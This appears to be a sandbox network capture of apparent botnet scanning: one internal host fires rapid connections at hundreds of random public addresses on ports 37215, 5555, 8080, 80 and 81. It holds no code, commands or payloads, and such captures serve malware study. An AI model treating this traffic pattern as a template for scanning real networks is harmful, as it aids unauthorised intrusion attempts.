Feb 12, 2023 21:25:07.480690002 CET	52981	37215	192.168.2.23	41.41.10.175
Feb 12, 2023 21:25:07.480752945 CET	52981	37215	192.168.2.23	41.226.14.106
Feb 12, 2023 21:25:07.480758905 CET	52981	37215	192.168.2.23	157.177.57.175
Feb 12, 2023 21:25:07.480763912 CET	52981	37215	192.168.2.23	197.38.89.120
Feb 12, 2023 21:25:07.480797052 CET	52981	37215	192.168.2.23	157.41.114.89
Feb 12, 2023 21:25:07.480798006 CET	52981	37215	192.168.2.23	197.81.113.49
Feb 12, 2023 21:25:07.480803967 CET	52981	37215	192.168.2.23	157.203.75.93
Feb 12, 2023 21:25:07.480803967 CET	52981	37215	192.168.2.23	165.44.209.204
Feb 12, 2023 21:25:07.480803967 CET	52981	37215	192.168.2.23	91.245.255.234
Feb 12, 2023 21:25:07.480803967 CET	52981	37215	192.168.2.23	41.16.107.45
Feb 12, 2023 21:25:07.480803967 CET	52981	37215	192.168.2.23	41.242.102.222
Feb 12, 2023 21:25:07.480809927 CET	52981	37215	192.168.2.23	151.27.254.133
Feb 12, 2023 21:25:07.480813980 CET	52981	37215	192.168.2.23	41.71.79.120
Feb 12, 2023 21:25:07.480813980 CET	52981	37215	192.168.2.23	197.70.250.89
Feb 12, 2023 21:25:07.480813980 CET	52981	37215	192.168.2.23	197.181.242.14
Feb 12, 2023 21:25:07.480859041 CET	52981	37215	192.168.2.23	210.9.204.122
Feb 12, 2023 21:25:07.480859041 CET	52981	37215	192.168.2.23	197.28.197.140
Feb 12, 2023 21:25:07.480859041 CET	52981	37215	192.168.2.23	41.29.102.178
Feb 12, 2023 21:25:07.480859041 CET	52981	37215	192.168.2.23	197.24.206.139
Feb 12, 2023 21:25:07.480864048 CET	52981	37215	192.168.2.23	119.6.145.154
Feb 12, 2023 21:25:07.480869055 CET	52981	37215	192.168.2.23	41.90.217.83
Feb 12, 2023 21:25:07.480869055 CET	52981	37215	192.168.2.23	157.21.210.196
Feb 12, 2023 21:25:07.480870008 CET	52981	37215	192.168.2.23	117.227.210.214
Feb 12, 2023 21:25:07.480870008 CET	52981	37215	192.168.2.23	41.113.18.187
Feb 12, 2023 21:25:07.480871916 CET	52981	37215	192.168.2.23	195.3.114.247
Feb 12, 2023 21:25:07.480871916 CET	52981	37215	192.168.2.23	96.211.136.128
Feb 12, 2023 21:25:07.480875015 CET	52981	37215	192.168.2.23	41.229.39.58
Feb 12, 2023 21:25:07.480875969 CET	52981	37215	192.168.2.23	157.174.251.176
Feb 12, 2023 21:25:07.480875969 CET	52981	37215	192.168.2.23	40.221.134.53
Feb 12, 2023 21:25:07.480901003 CET	52981	37215	192.168.2.23	157.198.217.11
Feb 12, 2023 21:25:07.480901003 CET	52981	37215	192.168.2.23	157.206.235.95
Feb 12, 2023 21:25:07.480901957 CET	52981	37215	192.168.2.23	157.240.203.41
Feb 12, 2023 21:25:07.480901957 CET	52981	37215	192.168.2.23	175.199.223.174
Feb 12, 2023 21:25:07.480901957 CET	52981	37215	192.168.2.23	197.77.196.82
Feb 12, 2023 21:25:07.480915070 CET	52981	37215	192.168.2.23	76.25.118.129
Feb 12, 2023 21:25:07.480923891 CET	52981	37215	192.168.2.23	83.76.59.182
Feb 12, 2023 21:25:07.480923891 CET	52981	37215	192.168.2.23	157.114.112.42
Feb 12, 2023 21:25:07.480923891 CET	52981	37215	192.168.2.23	197.137.205.99
Feb 12, 2023 21:25:07.480926037 CET	52981	37215	192.168.2.23	197.87.185.12
Feb 12, 2023 21:25:07.480926037 CET	52981	37215	192.168.2.23	197.238.18.17
Feb 12, 2023 21:25:07.480927944 CET	52981	37215	192.168.2.23	41.181.87.56
Feb 12, 2023 21:25:07.480927944 CET	52981	37215	192.168.2.23	41.127.55.233
Feb 12, 2023 21:25:07.480928898 CET	52981	37215	192.168.2.23	41.156.190.65
Feb 12, 2023 21:25:07.480932951 CET	52981	37215	192.168.2.23	189.60.112.113
Feb 12, 2023 21:25:07.480943918 CET	52981	37215	192.168.2.23	157.0.218.142
Feb 12, 2023 21:25:07.480943918 CET	52981	37215	192.168.2.23	150.101.99.177
Feb 12, 2023 21:25:07.480972052 CET	52981	37215	192.168.2.23	137.2.81.251
Feb 12, 2023 21:25:07.480972052 CET	52981	37215	192.168.2.23	70.178.151.74
Feb 12, 2023 21:25:07.480973005 CET	52981	37215	192.168.2.23	157.177.152.220
Feb 12, 2023 21:25:07.480979919 CET	52981	37215	192.168.2.23	157.43.104.133
Feb 12, 2023 21:25:07.480979919 CET	52981	37215	192.168.2.23	211.123.57.181
Feb 12, 2023 21:25:07.480979919 CET	52981	37215	192.168.2.23	157.21.187.167
Feb 12, 2023 21:25:07.480983973 CET	52981	37215	192.168.2.23	162.182.166.226
Feb 12, 2023 21:25:07.480983973 CET	52981	37215	192.168.2.23	187.120.25.94
Feb 12, 2023 21:25:07.480983973 CET	52981	37215	192.168.2.23	41.20.193.189
Feb 12, 2023 21:25:07.480983973 CET	52981	37215	192.168.2.23	41.110.217.213
Feb 12, 2023 21:25:07.481031895 CET	52981	37215	192.168.2.23	41.35.12.8
Feb 12, 2023 21:25:07.481031895 CET	52981	37215	192.168.2.23	41.94.244.152
Feb 12, 2023 21:25:07.481071949 CET	52981	37215	192.168.2.23	197.168.44.92
Feb 12, 2023 21:25:07.481071949 CET	52981	37215	192.168.2.23	197.65.39.242
Feb 12, 2023 21:25:07.481076956 CET	52981	37215	192.168.2.23	41.82.251.185
Feb 12, 2023 21:25:07.481077909 CET	52981	37215	192.168.2.23	197.170.18.177
Feb 12, 2023 21:25:07.481077909 CET	52981	37215	192.168.2.23	104.61.125.39
Feb 12, 2023 21:25:07.481076956 CET	52981	37215	192.168.2.23	157.187.29.149
Feb 12, 2023 21:25:07.481080055 CET	52981	37215	192.168.2.23	197.183.175.205
Feb 12, 2023 21:25:07.481077909 CET	52981	37215	192.168.2.23	44.7.68.23
Feb 12, 2023 21:25:07.481080055 CET	52981	37215	192.168.2.23	41.149.223.193
Feb 12, 2023 21:25:07.481079102 CET	52981	37215	192.168.2.23	128.202.139.147
Feb 12, 2023 21:25:07.481080055 CET	52981	37215	192.168.2.23	18.5.60.208
Feb 12, 2023 21:25:07.481086016 CET	52981	37215	192.168.2.23	197.170.51.226
Feb 12, 2023 21:25:07.481080055 CET	52981	37215	192.168.2.23	196.126.229.247
Feb 12, 2023 21:25:07.481081963 CET	52981	37215	192.168.2.23	197.24.26.101
Feb 12, 2023 21:25:07.481080055 CET	52981	37215	192.168.2.23	41.204.243.109
Feb 12, 2023 21:25:07.481086016 CET	52981	37215	192.168.2.23	197.57.189.238
Feb 12, 2023 21:25:07.481081963 CET	52981	37215	192.168.2.23	197.31.216.137
Feb 12, 2023 21:25:07.481105089 CET	52981	37215	192.168.2.23	150.197.185.103
Feb 12, 2023 21:25:07.481105089 CET	52981	37215	192.168.2.23	157.87.148.234
Feb 12, 2023 21:25:07.481105089 CET	52981	37215	192.168.2.23	41.181.197.189
Feb 12, 2023 21:25:07.481106043 CET	52981	37215	192.168.2.23	197.216.117.110
Feb 12, 2023 21:25:07.481106043 CET	52981	37215	192.168.2.23	93.119.24.211
Feb 12, 2023 21:25:07.481112003 CET	52981	37215	192.168.2.23	197.7.65.143
Feb 12, 2023 21:25:07.481112003 CET	52981	37215	192.168.2.23	157.25.125.95
Feb 12, 2023 21:25:07.481112003 CET	52981	37215	192.168.2.23	157.190.232.105
Feb 12, 2023 21:25:07.481149912 CET	52981	37215	192.168.2.23	197.237.105.84
Feb 12, 2023 21:25:07.481151104 CET	52981	37215	192.168.2.23	157.73.76.220
Feb 12, 2023 21:25:07.481149912 CET	52981	37215	192.168.2.23	157.231.95.110
Feb 12, 2023 21:25:07.481149912 CET	52981	37215	192.168.2.23	41.64.33.49
Feb 12, 2023 21:25:07.481154919 CET	52981	37215	192.168.2.23	41.158.18.143
Feb 12, 2023 21:25:07.481154919 CET	52981	37215	192.168.2.23	41.43.80.118
Feb 12, 2023 21:25:07.481154919 CET	52981	37215	192.168.2.23	157.147.25.60
Feb 12, 2023 21:25:07.481154919 CET	52981	37215	192.168.2.23	41.67.169.219
Feb 12, 2023 21:25:07.481157064 CET	52981	37215	192.168.2.23	197.53.54.245
Feb 12, 2023 21:25:07.481157064 CET	52981	37215	192.168.2.23	41.186.164.214
Feb 12, 2023 21:25:07.481163979 CET	52981	37215	192.168.2.23	41.170.245.71
Feb 12, 2023 21:25:07.481163979 CET	52981	37215	192.168.2.23	157.147.252.153
Feb 12, 2023 21:25:07.481164932 CET	52981	37215	192.168.2.23	157.157.183.129
Feb 12, 2023 21:25:07.481164932 CET	52981	37215	192.168.2.23	141.185.25.176
Feb 12, 2023 21:25:07.481164932 CET	52981	37215	192.168.2.23	157.236.45.74
Feb 12, 2023 21:25:07.481175900 CET	52981	37215	192.168.2.23	157.107.245.213
Feb 12, 2023 21:25:07.481177092 CET	52981	37215	192.168.2.23	41.42.225.47
Feb 12, 2023 21:25:07.481175900 CET	52981	37215	192.168.2.23	197.179.6.161
Feb 12, 2023 21:25:07.481175900 CET	52981	37215	192.168.2.23	157.111.204.18
Feb 12, 2023 21:25:07.481175900 CET	52981	37215	192.168.2.23	5.254.152.218
Feb 12, 2023 21:25:07.481190920 CET	52981	37215	192.168.2.23	117.1.23.122
Feb 12, 2023 21:25:07.481190920 CET	52981	37215	192.168.2.23	1.98.201.200
Feb 12, 2023 21:25:07.481190920 CET	52981	37215	192.168.2.23	197.144.154.97
Feb 12, 2023 21:25:07.481190920 CET	52981	37215	192.168.2.23	106.106.132.252
Feb 12, 2023 21:25:07.481190920 CET	52981	37215	192.168.2.23	197.78.6.177
Feb 12, 2023 21:25:07.481190920 CET	52981	37215	192.168.2.23	197.95.173.9
Feb 12, 2023 21:25:07.481195927 CET	52981	37215	192.168.2.23	23.35.23.159
Feb 12, 2023 21:25:07.481195927 CET	52981	37215	192.168.2.23	72.8.56.170
Feb 12, 2023 21:25:07.481195927 CET	52981	37215	192.168.2.23	157.9.236.238
Feb 12, 2023 21:25:07.481211901 CET	52981	37215	192.168.2.23	139.158.237.37
Feb 12, 2023 21:25:07.481216908 CET	52981	37215	192.168.2.23	197.13.124.163
Feb 12, 2023 21:25:07.481225967 CET	52981	37215	192.168.2.23	159.93.198.74
Feb 12, 2023 21:25:07.481225967 CET	52981	37215	192.168.2.23	197.121.110.96
Feb 12, 2023 21:25:07.481225967 CET	52981	37215	192.168.2.23	41.238.79.173
Feb 12, 2023 21:25:07.481234074 CET	52981	37215	192.168.2.23	41.193.36.51
Feb 12, 2023 21:25:07.481234074 CET	52981	37215	192.168.2.23	197.214.240.228
Feb 12, 2023 21:25:07.481234074 CET	52981	37215	192.168.2.23	41.40.7.126
Feb 12, 2023 21:25:07.481251955 CET	52981	37215	192.168.2.23	197.211.179.138
Feb 12, 2023 21:25:07.481254101 CET	52981	37215	192.168.2.23	41.178.134.136
Feb 12, 2023 21:25:07.481254101 CET	52981	37215	192.168.2.23	43.22.212.94
Feb 12, 2023 21:25:07.481254101 CET	52981	37215	192.168.2.23	186.44.36.105
Feb 12, 2023 21:25:07.481254101 CET	52981	37215	192.168.2.23	197.10.78.80
Feb 12, 2023 21:25:07.481254101 CET	52981	37215	192.168.2.23	41.249.38.2
Feb 12, 2023 21:25:07.481254101 CET	52981	37215	192.168.2.23	41.180.76.195
Feb 12, 2023 21:25:07.481254101 CET	52981	37215	192.168.2.23	122.172.127.107
Feb 12, 2023 21:25:07.481282949 CET	52981	37215	192.168.2.23	41.224.202.56
Feb 12, 2023 21:25:07.481282949 CET	52981	37215	192.168.2.23	49.29.42.13
Feb 12, 2023 21:25:07.481282949 CET	52981	37215	192.168.2.23	157.32.87.149
Feb 12, 2023 21:25:07.481291056 CET	52981	37215	192.168.2.23	188.74.83.12
Feb 12, 2023 21:25:07.481317997 CET	52981	37215	192.168.2.23	157.160.243.109
Feb 12, 2023 21:25:07.481321096 CET	52981	37215	192.168.2.23	157.18.35.18
Feb 12, 2023 21:25:07.481321096 CET	52981	37215	192.168.2.23	171.168.0.223
Feb 12, 2023 21:25:07.481322050 CET	52981	37215	192.168.2.23	197.154.45.50
Feb 12, 2023 21:25:07.481342077 CET	52981	37215	192.168.2.23	157.30.22.101
Feb 12, 2023 21:25:07.481349945 CET	52981	37215	192.168.2.23	197.182.91.115
Feb 12, 2023 21:25:07.481353045 CET	52981	37215	192.168.2.23	157.109.251.108
Feb 12, 2023 21:25:07.481363058 CET	52981	37215	192.168.2.23	126.161.147.126
Feb 12, 2023 21:25:07.481364012 CET	52981	37215	192.168.2.23	197.49.247.45
Feb 12, 2023 21:25:07.481364012 CET	52981	37215	192.168.2.23	41.153.51.124
Feb 12, 2023 21:25:07.481364012 CET	52981	37215	192.168.2.23	189.101.60.226
Feb 12, 2023 21:25:07.481364012 CET	52981	37215	192.168.2.23	197.21.88.196
Feb 12, 2023 21:25:07.481369019 CET	52981	37215	192.168.2.23	197.98.241.77
Feb 12, 2023 21:25:07.481376886 CET	52981	37215	192.168.2.23	157.86.64.226
Feb 12, 2023 21:25:07.481376886 CET	52981	37215	192.168.2.23	190.139.59.128
Feb 12, 2023 21:25:07.481384993 CET	52981	37215	192.168.2.23	41.175.252.176
Feb 12, 2023 21:25:07.481384993 CET	52981	37215	192.168.2.23	41.250.46.39
Feb 12, 2023 21:25:07.481394053 CET	52981	37215	192.168.2.23	157.40.234.95
Feb 12, 2023 21:25:07.481395006 CET	52981	37215	192.168.2.23	83.185.218.253
Feb 12, 2023 21:25:07.481435061 CET	37202	37215	192.168.2.23	213.151.56.95
Feb 12, 2023 21:25:07.481462955 CET	37202	37215	192.168.2.23	213.151.56.95
Feb 12, 2023 21:25:07.499718904 CET	37215	52981	83.76.59.182	192.168.2.23
Feb 12, 2023 21:25:07.502836943 CET	55322	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:07.502859116 CET	55324	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:07.502871037 CET	56084	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:07.502886057 CET	55332	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:07.502914906 CET	55326	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:07.502918959 CET	56082	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:07.559227943 CET	37215	37202	213.151.56.95	192.168.2.23
Feb 12, 2023 21:25:07.561568975 CET	37215	52981	197.144.154.97	192.168.2.23
Feb 12, 2023 21:25:07.573770046 CET	37215	52981	41.173.28.54	192.168.2.23
Feb 12, 2023 21:25:07.574028015 CET	52981	37215	192.168.2.23	41.173.28.54
Feb 12, 2023 21:25:07.584856033 CET	37215	52981	197.231.232.55	192.168.2.23
Feb 12, 2023 21:25:07.602004051 CET	37215	37202	213.151.56.95	192.168.2.23
Feb 12, 2023 21:25:07.607139111 CET	37215	52981	41.204.243.109	192.168.2.23
Feb 12, 2023 21:25:07.670413971 CET	38702	8080	192.168.2.23	50.48.55.46
Feb 12, 2023 21:25:07.683978081 CET	37215	37202	213.151.56.95	192.168.2.23
Feb 12, 2023 21:25:07.684798002 CET	37202	37215	192.168.2.23	213.151.56.95
Feb 12, 2023 21:25:07.728240013 CET	37215	52981	175.215.199.19	192.168.2.23
Feb 12, 2023 21:25:07.742284060 CET	37215	52981	118.62.52.144	192.168.2.23
Feb 12, 2023 21:25:07.742777109 CET	37215	52981	14.82.218.234	192.168.2.23
Feb 12, 2023 21:25:07.749411106 CET	37215	52981	91.245.255.234	192.168.2.23
Feb 12, 2023 21:25:07.779769897 CET	37215	52981	157.147.138.144	192.168.2.23
Feb 12, 2023 21:25:07.794826984 CET	41290	81	192.168.2.23	49.53.53.46
Feb 12, 2023 21:25:07.806809902 CET	37215	52981	197.7.108.148	192.168.2.23
Feb 12, 2023 21:25:07.822746038 CET	34646	80	192.168.2.23	53.46.51.53
Feb 12, 2023 21:25:07.822757959 CET	51816	80	192.168.2.23	54.50.46.51
Feb 12, 2023 21:25:07.822765112 CET	39778	80	192.168.2.23	55.56.46.50
Feb 12, 2023 21:25:07.822799921 CET	36066	80	192.168.2.23	56.56.46.50
Feb 12, 2023 21:25:07.822799921 CET	55664	80	192.168.2.23	51.55.46.49
Feb 12, 2023 21:25:07.983798027 CET	22272	5555	192.168.2.23	126.187.93.22
Feb 12, 2023 21:25:07.983798027 CET	22272	5555	192.168.2.23	150.205.148.67
Feb 12, 2023 21:25:07.983828068 CET	22272	5555	192.168.2.23	204.202.84.240
Feb 12, 2023 21:25:07.983828068 CET	22272	5555	192.168.2.23	164.127.158.244
Feb 12, 2023 21:25:07.983828068 CET	22272	5555	192.168.2.23	48.231.42.114
Feb 12, 2023 21:25:07.983827114 CET	22272	5555	192.168.2.23	204.124.10.146
Feb 12, 2023 21:25:07.983828068 CET	22272	5555	192.168.2.23	1.19.175.64
Feb 12, 2023 21:25:07.983828068 CET	22272	5555	192.168.2.23	170.196.124.56
Feb 12, 2023 21:25:07.983840942 CET	22272	5555	192.168.2.23	169.168.205.146
Feb 12, 2023 21:25:07.983839035 CET	22272	5555	192.168.2.23	136.76.94.155
Feb 12, 2023 21:25:07.983839035 CET	22272	5555	192.168.2.23	8.126.188.180
Feb 12, 2023 21:25:07.983839035 CET	22272	5555	192.168.2.23	80.117.50.122
Feb 12, 2023 21:25:07.983839035 CET	22272	5555	192.168.2.23	219.253.1.211
Feb 12, 2023 21:25:07.983849049 CET	22272	5555	192.168.2.23	139.17.136.124
Feb 12, 2023 21:25:07.983853102 CET	22272	5555	192.168.2.23	169.96.44.140
Feb 12, 2023 21:25:07.983853102 CET	22272	5555	192.168.2.23	65.128.86.199
Feb 12, 2023 21:25:07.983885050 CET	22272	5555	192.168.2.23	24.139.247.107
Feb 12, 2023 21:25:07.983887911 CET	22272	5555	192.168.2.23	106.205.254.255
Feb 12, 2023 21:25:07.983885050 CET	22272	5555	192.168.2.23	129.8.223.224
Feb 12, 2023 21:25:07.983887911 CET	22272	5555	192.168.2.23	36.72.109.32
Feb 12, 2023 21:25:07.983891010 CET	22272	5555	192.168.2.23	207.249.112.134
Feb 12, 2023 21:25:07.983887911 CET	22272	5555	192.168.2.23	79.26.242.176
Feb 12, 2023 21:25:07.983891010 CET	22272	5555	192.168.2.23	117.201.77.89
Feb 12, 2023 21:25:07.983885050 CET	22272	5555	192.168.2.23	184.80.109.109
Feb 12, 2023 21:25:07.983891010 CET	22272	5555	192.168.2.23	142.255.207.149
Feb 12, 2023 21:25:07.983908892 CET	22272	5555	192.168.2.23	150.128.43.218
Feb 12, 2023 21:25:07.983908892 CET	22272	5555	192.168.2.23	48.11.71.23
Feb 12, 2023 21:25:07.983911037 CET	22272	5555	192.168.2.23	194.229.17.254
Feb 12, 2023 21:25:07.983911037 CET	22272	5555	192.168.2.23	139.229.113.88
Feb 12, 2023 21:25:07.983908892 CET	22272	5555	192.168.2.23	152.39.4.27
Feb 12, 2023 21:25:07.983911037 CET	22272	5555	192.168.2.23	158.170.222.94
Feb 12, 2023 21:25:07.983911037 CET	22272	5555	192.168.2.23	53.184.85.228
Feb 12, 2023 21:25:07.983911037 CET	22272	5555	192.168.2.23	106.92.164.65
Feb 12, 2023 21:25:07.983912945 CET	22272	5555	192.168.2.23	187.240.219.250
Feb 12, 2023 21:25:07.983912945 CET	22272	5555	192.168.2.23	121.23.30.105
Feb 12, 2023 21:25:07.983912945 CET	22272	5555	192.168.2.23	58.164.62.40
Feb 12, 2023 21:25:07.983926058 CET	22272	5555	192.168.2.23	161.113.111.48
Feb 12, 2023 21:25:07.983927011 CET	22272	5555	192.168.2.23	97.83.214.156
Feb 12, 2023 21:25:07.983943939 CET	22272	5555	192.168.2.23	163.81.225.240
Feb 12, 2023 21:25:07.983943939 CET	22272	5555	192.168.2.23	128.26.59.166
Feb 12, 2023 21:25:07.983943939 CET	22272	5555	192.168.2.23	139.162.36.246
Feb 12, 2023 21:25:07.983943939 CET	22272	5555	192.168.2.23	37.102.201.214
Feb 12, 2023 21:25:07.983947039 CET	22272	5555	192.168.2.23	135.220.218.48
Feb 12, 2023 21:25:07.983958006 CET	22272	5555	192.168.2.23	194.168.114.197
Feb 12, 2023 21:25:07.983968973 CET	22272	5555	192.168.2.23	17.118.91.39
Feb 12, 2023 21:25:07.983971119 CET	22272	5555	192.168.2.23	100.47.23.27
Feb 12, 2023 21:25:07.983975887 CET	22272	5555	192.168.2.23	119.65.168.212
Feb 12, 2023 21:25:07.983977079 CET	22272	5555	192.168.2.23	132.134.134.76
Feb 12, 2023 21:25:07.983973980 CET	22272	5555	192.168.2.23	31.156.226.100
Feb 12, 2023 21:25:07.983975887 CET	22272	5555	192.168.2.23	221.154.54.7
Feb 12, 2023 21:25:07.983973980 CET	22272	5555	192.168.2.23	81.224.255.127
Feb 12, 2023 21:25:07.983975887 CET	22272	5555	192.168.2.23	45.70.199.99
Feb 12, 2023 21:25:07.983973980 CET	22272	5555	192.168.2.23	184.69.189.251
Feb 12, 2023 21:25:07.983974934 CET	22272	5555	192.168.2.23	59.50.250.169
Feb 12, 2023 21:25:07.983983994 CET	22272	5555	192.168.2.23	104.18.203.241
Feb 12, 2023 21:25:07.983974934 CET	22272	5555	192.168.2.23	139.186.17.243
Feb 12, 2023 21:25:07.983985901 CET	22272	5555	192.168.2.23	110.76.15.217
Feb 12, 2023 21:25:07.983983994 CET	22272	5555	192.168.2.23	135.113.70.229
Feb 12, 2023 21:25:07.983985901 CET	22272	5555	192.168.2.23	49.240.22.254
Feb 12, 2023 21:25:07.983974934 CET	22272	5555	192.168.2.23	134.12.229.8
Feb 12, 2023 21:25:07.983983994 CET	22272	5555	192.168.2.23	171.220.187.160
Feb 12, 2023 21:25:07.983994007 CET	22272	5555	192.168.2.23	184.163.75.251
Feb 12, 2023 21:25:07.984006882 CET	22272	5555	192.168.2.23	172.120.170.34
Feb 12, 2023 21:25:07.984019041 CET	22272	5555	192.168.2.23	157.76.2.156
Feb 12, 2023 21:25:07.984025002 CET	22272	5555	192.168.2.23	20.177.190.16
Feb 12, 2023 21:25:07.984029055 CET	22272	5555	192.168.2.23	190.7.125.48
Feb 12, 2023 21:25:07.984030008 CET	22272	5555	192.168.2.23	49.50.172.36
Feb 12, 2023 21:25:07.984030008 CET	22272	5555	192.168.2.23	216.52.50.151
Feb 12, 2023 21:25:07.984036922 CET	22272	5555	192.168.2.23	37.170.16.152
Feb 12, 2023 21:25:07.984039068 CET	22272	5555	192.168.2.23	35.25.70.154
Feb 12, 2023 21:25:07.984052896 CET	22272	5555	192.168.2.23	158.251.244.214
Feb 12, 2023 21:25:07.984052896 CET	22272	5555	192.168.2.23	155.89.239.3
Feb 12, 2023 21:25:07.984054089 CET	22272	5555	192.168.2.23	156.20.158.13
Feb 12, 2023 21:25:07.984074116 CET	22272	5555	192.168.2.23	32.218.178.246
Feb 12, 2023 21:25:07.984083891 CET	22272	5555	192.168.2.23	165.140.80.236
Feb 12, 2023 21:25:07.984116077 CET	22272	5555	192.168.2.23	50.14.17.93
Feb 12, 2023 21:25:07.984116077 CET	22272	5555	192.168.2.23	105.59.226.176
Feb 12, 2023 21:25:07.984123945 CET	22272	5555	192.168.2.23	178.5.203.58
Feb 12, 2023 21:25:07.984123945 CET	22272	5555	192.168.2.23	188.37.36.240
Feb 12, 2023 21:25:07.984127045 CET	22272	5555	192.168.2.23	91.44.117.162
Feb 12, 2023 21:25:07.984127045 CET	22272	5555	192.168.2.23	172.169.210.64
Feb 12, 2023 21:25:07.984127045 CET	22272	5555	192.168.2.23	166.65.20.113
Feb 12, 2023 21:25:07.984148026 CET	22272	5555	192.168.2.23	209.214.6.245
Feb 12, 2023 21:25:07.984148026 CET	22272	5555	192.168.2.23	182.80.250.127
Feb 12, 2023 21:25:07.984153032 CET	22272	5555	192.168.2.23	152.112.223.99
Feb 12, 2023 21:25:07.984153986 CET	22272	5555	192.168.2.23	168.147.61.209
Feb 12, 2023 21:25:07.984159946 CET	22272	5555	192.168.2.23	106.236.159.28
Feb 12, 2023 21:25:07.984163046 CET	22272	5555	192.168.2.23	138.205.50.147
Feb 12, 2023 21:25:07.984184027 CET	22272	5555	192.168.2.23	147.135.174.76
Feb 12, 2023 21:25:07.984194040 CET	22272	5555	192.168.2.23	219.11.90.53
Feb 12, 2023 21:25:07.984196901 CET	22272	5555	192.168.2.23	133.110.233.249
Feb 12, 2023 21:25:07.984196901 CET	22272	5555	192.168.2.23	82.120.57.159
Feb 12, 2023 21:25:07.984198093 CET	22272	5555	192.168.2.23	130.199.151.69
Feb 12, 2023 21:25:07.984196901 CET	22272	5555	192.168.2.23	174.121.154.144
Feb 12, 2023 21:25:07.984205008 CET	22272	5555	192.168.2.23	62.162.164.60
Feb 12, 2023 21:25:07.984206915 CET	22272	5555	192.168.2.23	12.223.236.89
Feb 12, 2023 21:25:07.984205008 CET	22272	5555	192.168.2.23	51.249.219.248
Feb 12, 2023 21:25:07.984208107 CET	22272	5555	192.168.2.23	34.50.171.247
Feb 12, 2023 21:25:07.984205008 CET	22272	5555	192.168.2.23	191.91.203.37
Feb 12, 2023 21:25:07.984208107 CET	22272	5555	192.168.2.23	49.226.100.128
Feb 12, 2023 21:25:07.984205008 CET	22272	5555	192.168.2.23	148.5.218.66
Feb 12, 2023 21:25:07.984222889 CET	22272	5555	192.168.2.23	38.12.229.188
Feb 12, 2023 21:25:07.984224081 CET	22272	5555	192.168.2.23	20.104.29.242
Feb 12, 2023 21:25:07.984224081 CET	22272	5555	192.168.2.23	201.121.2.191
Feb 12, 2023 21:25:07.984224081 CET	22272	5555	192.168.2.23	157.242.59.205
Feb 12, 2023 21:25:07.984226942 CET	22272	5555	192.168.2.23	209.221.171.155
Feb 12, 2023 21:25:07.984227896 CET	22272	5555	192.168.2.23	142.117.210.109
Feb 12, 2023 21:25:07.984229088 CET	22272	5555	192.168.2.23	1.112.39.233
Feb 12, 2023 21:25:07.984229088 CET	22272	5555	192.168.2.23	189.59.61.57
Feb 12, 2023 21:25:07.984230995 CET	22272	5555	192.168.2.23	66.162.115.112
Feb 12, 2023 21:25:07.984226942 CET	22272	5555	192.168.2.23	58.132.164.48
Feb 12, 2023 21:25:07.984241962 CET	22272	5555	192.168.2.23	139.213.139.105
Feb 12, 2023 21:25:07.984258890 CET	22272	5555	192.168.2.23	219.237.193.98
Feb 12, 2023 21:25:07.984258890 CET	22272	5555	192.168.2.23	52.116.237.131
Feb 12, 2023 21:25:07.984261036 CET	22272	5555	192.168.2.23	162.46.82.156
Feb 12, 2023 21:25:07.984265089 CET	22272	5555	192.168.2.23	92.188.31.209
Feb 12, 2023 21:25:07.984268904 CET	22272	5555	192.168.2.23	207.74.92.19
Feb 12, 2023 21:25:07.984268904 CET	22272	5555	192.168.2.23	167.139.11.10
Feb 12, 2023 21:25:07.984267950 CET	22272	5555	192.168.2.23	145.100.124.131
Feb 12, 2023 21:25:07.984267950 CET	22272	5555	192.168.2.23	20.32.132.86
Feb 12, 2023 21:25:07.984273911 CET	22272	5555	192.168.2.23	93.168.224.2
Feb 12, 2023 21:25:07.984273911 CET	22272	5555	192.168.2.23	113.74.201.94
Feb 12, 2023 21:25:07.984273911 CET	22272	5555	192.168.2.23	85.229.72.126
Feb 12, 2023 21:25:07.984273911 CET	22272	5555	192.168.2.23	39.132.145.124
Feb 12, 2023 21:25:07.984297991 CET	22272	5555	192.168.2.23	42.81.118.247
Feb 12, 2023 21:25:07.984297991 CET	22272	5555	192.168.2.23	186.174.69.218
Feb 12, 2023 21:25:07.984298944 CET	22272	5555	192.168.2.23	60.83.99.245
Feb 12, 2023 21:25:07.984298944 CET	22272	5555	192.168.2.23	184.28.122.95
Feb 12, 2023 21:25:07.984298944 CET	22272	5555	192.168.2.23	110.5.145.228
Feb 12, 2023 21:25:07.984298944 CET	22272	5555	192.168.2.23	66.153.22.113
Feb 12, 2023 21:25:07.984298944 CET	22272	5555	192.168.2.23	180.253.213.3
Feb 12, 2023 21:25:07.984308004 CET	22272	5555	192.168.2.23	172.172.90.166
Feb 12, 2023 21:25:07.984308004 CET	22272	5555	192.168.2.23	181.127.1.197
Feb 12, 2023 21:25:07.984308004 CET	22272	5555	192.168.2.23	137.206.141.77
Feb 12, 2023 21:25:07.984308004 CET	22272	5555	192.168.2.23	121.71.238.101
Feb 12, 2023 21:25:07.984311104 CET	22272	5555	192.168.2.23	40.248.174.248
Feb 12, 2023 21:25:07.984313011 CET	22272	5555	192.168.2.23	13.15.107.89
Feb 12, 2023 21:25:07.984313011 CET	22272	5555	192.168.2.23	209.172.144.19
Feb 12, 2023 21:25:07.984313011 CET	22272	5555	192.168.2.23	139.143.191.52
Feb 12, 2023 21:25:07.984313011 CET	22272	5555	192.168.2.23	74.238.123.121
Feb 12, 2023 21:25:07.984317064 CET	22272	5555	192.168.2.23	141.229.42.157
Feb 12, 2023 21:25:07.984317064 CET	22272	5555	192.168.2.23	149.224.182.43
Feb 12, 2023 21:25:07.984317064 CET	22272	5555	192.168.2.23	146.30.215.52
Feb 12, 2023 21:25:07.984332085 CET	22272	5555	192.168.2.23	18.32.150.58
Feb 12, 2023 21:25:07.984333992 CET	22272	5555	192.168.2.23	222.197.125.78
Feb 12, 2023 21:25:07.984335899 CET	22272	5555	192.168.2.23	96.104.18.124
Feb 12, 2023 21:25:07.984335899 CET	22272	5555	192.168.2.23	187.219.94.107
Feb 12, 2023 21:25:07.984342098 CET	22272	5555	192.168.2.23	137.6.246.233
Feb 12, 2023 21:25:07.984342098 CET	22272	5555	192.168.2.23	107.16.40.241
Feb 12, 2023 21:25:07.984359026 CET	22272	5555	192.168.2.23	218.115.209.136
Feb 12, 2023 21:25:07.984364033 CET	22272	5555	192.168.2.23	203.175.174.220
